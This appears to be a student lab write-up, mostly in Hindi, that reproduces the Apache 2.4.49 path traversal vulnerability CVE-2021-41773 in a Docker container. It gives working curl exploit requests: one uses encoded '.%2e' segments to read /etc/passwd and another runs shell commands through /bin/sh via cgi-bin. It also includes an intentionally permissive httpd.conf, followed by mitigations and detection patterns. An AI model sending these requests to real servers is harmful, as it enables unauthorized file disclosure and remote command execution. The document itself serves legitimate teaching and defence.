
WHS 4기 이희수. kr-vulhub 과제 제출물
Contributors
Apache HTTP Server 2.4.49 में URL पथ को सामान्य करने (normalize) की प्रक्रिया में एन्कोडेड पैरेंट पथ को ठीक से ब्लॉक न करने की कमजोरी है।
हमलावर .%2e जैसे मानों का उपयोग करके वेब सर्वर द्वारा सार्वजनिक करने के लिए निर्धारित निर्देशिका से बाहर निकल सकता है। बाहरी निर्देशिका तक पहुँच की अनुमति वाले वातावरण में सर्वर की आंतरिक फ़ाइलें उजागर हो सकती हैं, और यदि CGI सुविधा सक्रिय है, तो सिस्टम शेल चलाकर रिमोट कमांड निष्पादन संभव है।
इस परियोजना में Docker का उपयोग करके Apache HTTP Server 2.4.49 वातावरण सीधे बनाया गया और निम्नलिखित दो चीजों का पुनरुत्पादन किया गया।
/etc/passwd फ़ाइल का उजागरCVE-2021-41773/
├── Dockerfile
├── docker-compose.yml
├── README.md
├── apache/
│ └── httpd.conf
├── web/
│ └── index.html
├── scripts/
│ ├── poc.sh
│ └── poc.ps1
└── screenshots/
├── 01-container-status.png
├── 02-normal-service.png
├── 03-apache-version.png
├── 04-path-traversal.png
├── 05-rce-whoami.png
└── 06-poc-script.png
Docker इमेज बनाने और कंटेनर चलाने के लिए निम्न आदेश का उपयोग करें
docker compose up -d --build
कंटेनर चलने की स्थिति निम्न आदेश से जाँचें
docker ps
निष्पादन परिणाम में कंटेनर Up स्थिति में होना चाहिए, और होस्ट का पोर्ट 8080 कंटेनर के पोर्ट 80 से जुड़ा होना चाहिए

ब्राउज़र में निम्न पते पर जाएँ।
http://localhost:8080
Apache वेब पेज सामान्य रूप से प्रदर्शित होने पर वातावरण सेटअप पूर्ण माना जाता है

कंटेनर के अंदर Apache संस्करण जाँचने के लिए निम्न आदेश चलाएँ
docker compose exec web /usr/local/apache2/bin/httpd -v
निष्पादन परिणाम:
Server version: Apache/2.4.49 (Unix)
CVE-2021-41773 से प्रभावित Apache HTTP Server 2.4.49 चल रहा है, इसकी पुष्टि होती है

इस प्रयोगशाला वातावरण में निम्नलिखित शर्तें लागू हैं।
daemon खाते से चलती हैApache कॉन्फ़िगरेशन में फ़ाइल सिस्टम के शीर्ष पथ तक पहुँच की अनुमति इस प्रकार दी गई है।
<Directory "/">
AllowOverride None
Require all granted
</Directory>
साथ ही CGI निष्पादन के लिए निम्नलिखित सेटिंग का उपयोग किया गया।
ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/"
<Directory "/usr/local/apache2/cgi-bin">
AllowOverride None
Options +ExecCGI
Require all granted
</Directory>
निम्नलिखित अनुरोध एन्कोडेड पैरेंट पथ का उपयोग करके कंटेनर के अंदर /etc/passwd फ़ाइल तक पहुँचता है।
curl --path-as-is "http://localhost:8080/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd"
.%2e URL डिकोडिंग के बाद .. के रूप में संसाधित होता है।
इसलिए हमलावर Alias पथ के आधार पर कई बार ऊपरी निर्देशिका में जाकर /etc/passwd फ़ाइल तक पहुँच सकता है।
निष्पादन परिणाम:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...

/etc/passwd में उपयोगकर्ता नाम, UID, GID, होम निर्देशिका और लॉगिन शेल जैसी सिस्टम खाता जानकारी संग्रहीत होती है।
वास्तविक पासवर्ड शामिल नहीं है, लेकिन सामान्य बाहरी वेब उपयोगकर्ता के लिए अगम्य होने वाली सर्वर की आंतरिक फ़ाइल केवल HTTP अनुरोध के माध्यम से उजागर होने से सूचना उजागर की कमजोरी पुष्ट होती है।
वास्तविक संचालन वातावरण में उसी विधि से निम्नलिखित संवेदनशील जानकारी उजागर होने की संभावना है।
निम्नलिखित अनुरोध Path Traversal का उपयोग करके /bin/sh तक पहुँचता है और whoami कमांड चलाता है।
curl -s --path-as-is \
-d "echo Content-Type: text/plain; echo; whoami" \
"http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
निष्पादन परिणाम:
daemon

/cgi-bin/ पथ ScriptAlias से सेट किया गया है, इसलिए Apache उस पथ की फ़ाइल को केवल पढ़ता नहीं बल्कि CGI प्रोग्राम के रूप में निष्पादित करता है।
Path Traversal के माध्यम से /bin/sh तक पहुँचकर अनुरोध बॉडी में शामिल कमांड भेजने पर Apache निष्पादन खाते के अधिकार से कमांड चलता है।
इस वातावरण में Apache निम्न खाते से चलता है।
User daemon
Group daemon
इसलिए कमांड निष्पादन परिणाम भी daemon खाते से आउटपुट हुआ।
रूट अधिकार नहीं है, लेकिन निम्नलिखित अतिरिक्त खतरे उत्पन्न हो सकते हैं।
अलग-अलग कमांड के बजाय PoC स्क्रिप्ट का उपयोग करके सामान्य सेवा, Path Traversal और रिमोट कमांड निष्पादन को एक साथ जाँचा जा सकता है।
powershell -ExecutionPolicy Bypass -File .\scripts\poc.ps1
bash scripts/poc.sh
स्क्रिप्ट निम्नलिखित आइटम क्रम से जाँचती है।
[1] सामान्य सेवा की पुष्टि
[2] Path Traversal के माध्यम से /etc/passwd तक पहुंच
[3] CGI के माध्यम से id कमांड का निष्पादन

Apache HTTP Server 2.4.49 का उपयोग न करें और सुरक्षा पैच लागू नवीनतम संस्करण में अद्यतन करें।
संचालन वातावरण में फ़ाइल सिस्टम के शीर्ष पथ को डिफ़ॉल्ट रूप से अवरुद्ध करें।
<Directory "/">
Require all denied
</Directory>
आवश्यक वेब निर्देशिकाओं को अलग से अनुमति दें।
<Directory "/usr/local/apache2/htdocs">
Require all granted
</Directory>
यदि CGI सुविधा की आवश्यकता नहीं है, तो निम्नलिखित को निष्क्रिय करें।
mod_cgiScriptAliasExecCGIApache प्रक्रिया को root के बजाय सीमित सेवा खाते से चलाएं, और उस खाते के लिए सुलभ फ़ाइलों और निर्देशिकाओं को न्यूनतम करें।
निम्नलिखित जैसे असामान्य पथ वाले अनुरोधों का पता लगाएं और उन्हें अवरुद्ध करें।
.%2e
%2e%2e
/cgi-bin/
docker compose down
इस प्रयोग में Dockerfile का उपयोग करके Apache HTTP Server 2.4.49 बनाया गया और Docker Compose के माध्यम से पुनरुत्पादनीय कमजोर वातावरण सेट किया गया।
Path Traversal अनुरोध के माध्यम से सामान्य वेब उपयोगकर्ता के लिए अगम्य कंटेनर की आंतरिक /etc/passwd फ़ाइल उजागर होते देखा गया।
साथ ही, CGI सक्रिय वातावरण में /bin/sh तक पहुँचकर Apache निष्पादन खाते daemon के अधिकार से सिस्टम कमांड चलाने की पुष्टि हुई।
इससे यह स्पष्ट होता है कि CVE-2021-41773 केवल पथ उजागर तक सीमित नहीं है, बल्कि वातावरण सेटिंग के अनुसार रिमोट कमांड निष्पादन तक पहुँच सकता है।